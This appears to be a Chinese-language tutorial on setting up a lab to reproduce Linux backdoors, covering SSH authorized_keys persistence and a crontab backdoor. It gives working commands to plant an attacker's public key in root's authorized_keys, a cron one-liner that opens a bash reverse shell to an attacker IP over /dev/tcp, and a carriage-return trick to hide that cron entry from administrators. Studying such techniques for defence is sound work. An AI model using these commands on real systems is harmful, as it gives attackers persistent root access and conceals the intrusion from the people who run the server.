整理好了搭环境的文章:LINUX 后门复现环境搭建
攻击者在通过各种手段获得服务器的控制权之后,通常会在服务器上布置一些脚本、进程、链接,即所谓的后门。其目的是,方便攻击者以后对该服务器进行持久性的攻击。
其中,在 linux 服务器上留后门的常见技术,本文中会提及如下几种:
- SSH 公钥免密
- crontab 后门
...
# SSH 公钥免密
简而言之,SSH 公钥免密就是,将攻击者生成的 ssh 公钥写到目标服务器的 /root/.ssh/authorized_keys
中(手动在目标机上完成注册),
然后攻击者就可以利用对应的私钥免密登录。
实现:
-
使用 Xshell 的 工具 -> 新建用户密钥生成向导,完成 ssh 公钥、私钥的生成:
(填入密码)
<br> -
保存生成的公钥文件(id_rsa_2048.pub),传到目标服务器上,
<br> -
寻找 authorized_keys 文件,命令
find -name authorized_keys
,
如果没有,就通过命令touch /root/.ssh/authorized_keys
创建。
<br> -
命令
ssh-keygen -t rsa
开启免密登录功能,
<br> -
通过命令
cat 公钥路径 >> /root/.ssh/authorized_keys
把公钥写入到 authorized_keys,完成注册
<br> -
修改文件权限
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
<br> -
攻击者使用 Xshell 生成的私钥和之前填写的密码,登录目标服务器
# crontab 后门
Crond 服务启动后,会定期(默认一分钟检查一次)检查它的配置文件中,是否有要执行的任务。
如果有,就会根据预先设定的定时任务规则自动执行该任务。
crontab 是用来定期执行程序的命令,
我们可以通过 crontab 命令制造定时后门:
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/192.168.158.132/2333;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
解释:
echo '*/60 * * * *'
:设定每 60 分钟执行一次;
exec 9<>/dev/tcp/192.168.158.132/2333
:利用 bash 提供的功能,对 /dev/tcp/
开头的字符串进行解析,指定服务器 IP 为:192.168.158.132(攻击机 IP),端口号为 2333,指定描述符为 9,建立网络连接;
exec 0<&9;exec 1>&9 2>&1;
:文件描述符 0:stdin,1:stdout,把标准输入输出都重定向到描述符 9;
/bin/bash --noprofile -i
:开一个 Shell。
其实就是利用 Bash 反弹一个 Shell 到指定的攻击者 IP
(ubuntu 默认没开 bash 的网络重定向选项,需要加上 –enable-net-redirections
重新编译 bash)
隐藏:
但是这样的一个后门,管理员直接执行 crontab -l
就能看到我们设定的定时任务。
这个命令其实是在读取 /var/spool/cron/crontabs/root
文件。
所以,我们可以利用 cat 的一个缺陷,使用一些转义字符,比如 \r 回车符 \n 换行符 \f 换页符,来隐藏我们不想让管理员看到的命令:
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/192.168.158.132/2333;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for
whoami %100c\n")|crontab -
但是,若是使用 cat -A /var/spool/cron/crontabs/root
还是可以看到我们隐藏的东西的。